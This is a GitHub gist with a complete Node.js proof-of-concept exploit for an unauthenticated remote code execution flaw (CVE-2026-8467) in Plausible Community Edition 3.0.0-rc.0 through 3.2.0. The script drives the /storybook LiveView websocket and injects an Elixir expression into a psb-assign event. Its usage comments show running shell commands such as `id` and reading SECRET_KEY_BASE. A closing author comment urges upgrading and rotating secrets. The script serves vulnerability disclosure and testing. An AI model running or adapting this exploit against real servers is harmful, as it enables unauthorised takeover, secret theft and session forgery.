Skip to content

Instantly share code, notes, and snippets.

@Calyhre
Created June 1, 2026 16:29
Show Gist options
  • Select an option

  • Save Calyhre/67337024ece3762cbc3c9e4956b0e3d4 to your computer and use it in GitHub Desktop.

Select an option

Save Calyhre/67337024ece3762cbc3c9e4956b0e3d4 to your computer and use it in GitHub Desktop.
POC RCE Plausible >= 3.0.0-rc.0 and < 3.2.1
#!/usr/bin/env node
//
// CVE-2026-8467 — Unauthenticated Remote Code Execution in Plausible Community Edition
// ====================================================================================
//
// Proof of concept. The `/storybook` endpoint shipped by Plausible Community Edition lets an
// unauthenticated attacker execute arbitrary code on the server, as the user running the app.
//
// References:
// - CVE-2026-8467
// - GHSA-55hg-8qxv-qj4p (phoenix_storybook)
// - https://github.com/plausible/analytics/discussions/6355
//
// Affected:
// Plausible Community Edition v3.0.0-rc.0 through v3.2.0 (bundles phoenix_storybook < 1.1.0).
// Fixed in v3.2.1, which removes the endpoint.
//
// Impact:
// Arbitrary code and shell command execution as the application service account — including
// full access to the database and to application secrets such as SECRET_KEY_BASE, which can
// then be used to forge sessions. No authentication required.
//
// Requirements:
// Node.js >= 22 (built-in fetch and WebSocket). No third-party dependencies.
//
// Configuration (environment variables):
// TARGET Base URL of the target instance (default: http://plausible.plausible-ce.orb.local)
// EXPR Elixir expression to evaluate on the server (default: a harmless arithmetic check)
//
// Authorized testing only — run exclusively against systems you own or are permitted to test.
//
// Usage:
// # Prove code execution (the server computes 1336 + 1)
// node poc.mjs
//
// # Identify the user running the process
// EXPR='elem(System.cmd("id", []), 0)' node poc.mjs
//
// # Exfiltrate a critical secret
// EXPR='System.get_env("SECRET_KEY_BASE")' node poc.mjs
const TARGET = process.env.TARGET || "http://plausible.plausible-ce.orb.local";
const EXPR = process.env.EXPR || '"POC-#{1336 + 1}"';
const PREVIEW_ID = "plausible_web_storybook_button-playground-preview";
function attribute(html, marker, name) {
const tag = html.match(new RegExp(`<[^>]*${marker}[^>]*>`))?.[0] ?? "";
return tag.match(new RegExp(`\\s${name}="([^"]*)"`))?.[1] ?? null;
}
function toStrings(node, out = []) {
if (typeof node === "string") out.push(node);
else if (Array.isArray(node)) node.forEach((child) => toStrings(child, out));
else if (node && typeof node === "object")
Object.values(node).forEach((child) => toStrings(child, out));
return out;
}
async function getInitialState(url) {
const response = await fetch(url);
const cookie = response.headers.getSetCookie();
const html = await response.text();
const csrf = attribute(html, 'name="csrf-token"', "content");
const main = {
id: attribute(html, "data-phx-main", "id"),
session: attribute(html, "data-phx-main", "data-phx-session"),
static: attribute(html, "data-phx-main", "data-phx-static"),
};
if (!csrf || !main.id || !main.session || !main.static) {
throw new Error("could not parse CSRF token / main LiveView from the page");
}
return { cookie, csrf, main };
}
// --- Phoenix LiveView channel (wire protocol v2.0.0) -----------------------
class LiveSocket {
#ws;
#ref = 0;
#pending = new Map();
constructor({ csrf, cookie }) {
this.csrf = csrf;
this.url = `${TARGET.replace(/^http/, "ws")}/live/websocket?_csrf_token=${encodeURIComponent(csrf)}&vsn=2.0.0`;
this.headers = { Origin: TARGET, Cookie: cookie };
}
open() {
this.#ws = new WebSocket(this.url, { headers: this.headers });
this.#ws.addEventListener("message", (event) => {
const [, ref, , , payload] = JSON.parse(event.data);
this.#pending.get(ref)?.(payload);
this.#pending.delete(ref);
});
return new Promise((resolve, reject) => {
this.#ws.addEventListener("open", resolve, { once: true });
this.#ws.addEventListener("close", () => reject(new Error("socket closed before open")), {
once: true,
});
});
}
#send(joinRef, ref, topic, event, payload) {
this.#ws.send(JSON.stringify([joinRef, ref, topic, event, payload]));
return new Promise((resolve) => this.#pending.set(ref, resolve));
}
async joinView(topic, { session, static: staticToken = null, url }) {
const ref = String(++this.#ref);
const reply = await this.#send(ref, ref, topic, "phx_join", {
url,
session,
static: staticToken,
params: { _csrf_token: this.csrf, _mounts: 0, _mount_attempts: 0 },
flash: null,
sticky: false,
});
if (reply.status !== "ok")
throw new Error(`join ${topic} failed: ${JSON.stringify(reply.response)}`);
return { ref, reply };
}
pushEvent(topic, joinRef, event, value) {
const ref = String(++this.#ref);
return this.#send(joinRef, ref, topic, "event", { type: "hook", event, value });
}
close() {
this.#ws.close();
}
}
async function joinPreview(socket, main, url) {
const parent = await socket.joinView(`lv:${main.id}`, { url, ...main });
const blob = toStrings(parent.reply).find((s) => s.includes(PREVIEW_ID)) ?? "";
const session = attribute(blob, `id="${PREVIEW_ID}"`, "data-phx-session");
if (!session) throw new Error("could not locate the preview LiveView session token");
return socket.joinView(`lv:${PREVIEW_ID}`, { session });
}
async function runExploit(url) {
const { cookie, csrf, main } = await getInitialState(url);
const socket = new LiveSocket({ csrf, cookie });
await socket.open();
console.log("[*] socket open");
const preview = await joinPreview(socket, main, url);
console.log("[*] joined story + playground preview LiveViews");
const value = { variation_id: "default", x: `" injected={${EXPR}} z="` };
const reply = await socket.pushEvent(`lv:${PREVIEW_ID}`, preview.ref, "psb-assign", value);
socket.close();
return (
toStrings(reply)
.join(" ")
.match(/injected="([^"]*)"/)?.[1] ?? null
);
}
const url = `${TARGET}/storybook/button?tab=playground&variation_id=default`;
console.log(`[*] target: ${url}`);
const output = await runExploit(url);
if (output === null) throw new Error("No injected output in response: target may be patched");
console.log(`[!] server evaluated \`${EXPR}\` ->`);
console.log(` ${output}`);
@Calyhre

Calyhre commented Jun 1, 2026

Copy link
Copy Markdown
Author

If you are using Plausible from 3.0.0-rc.0 up until 3.2.0 included, you should upgrade ASAP.

You should also probably rotate every environment variables, secrets, and anything accessible from that server. Including SECRET_KEY_BASE, and everything that key encrypts.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment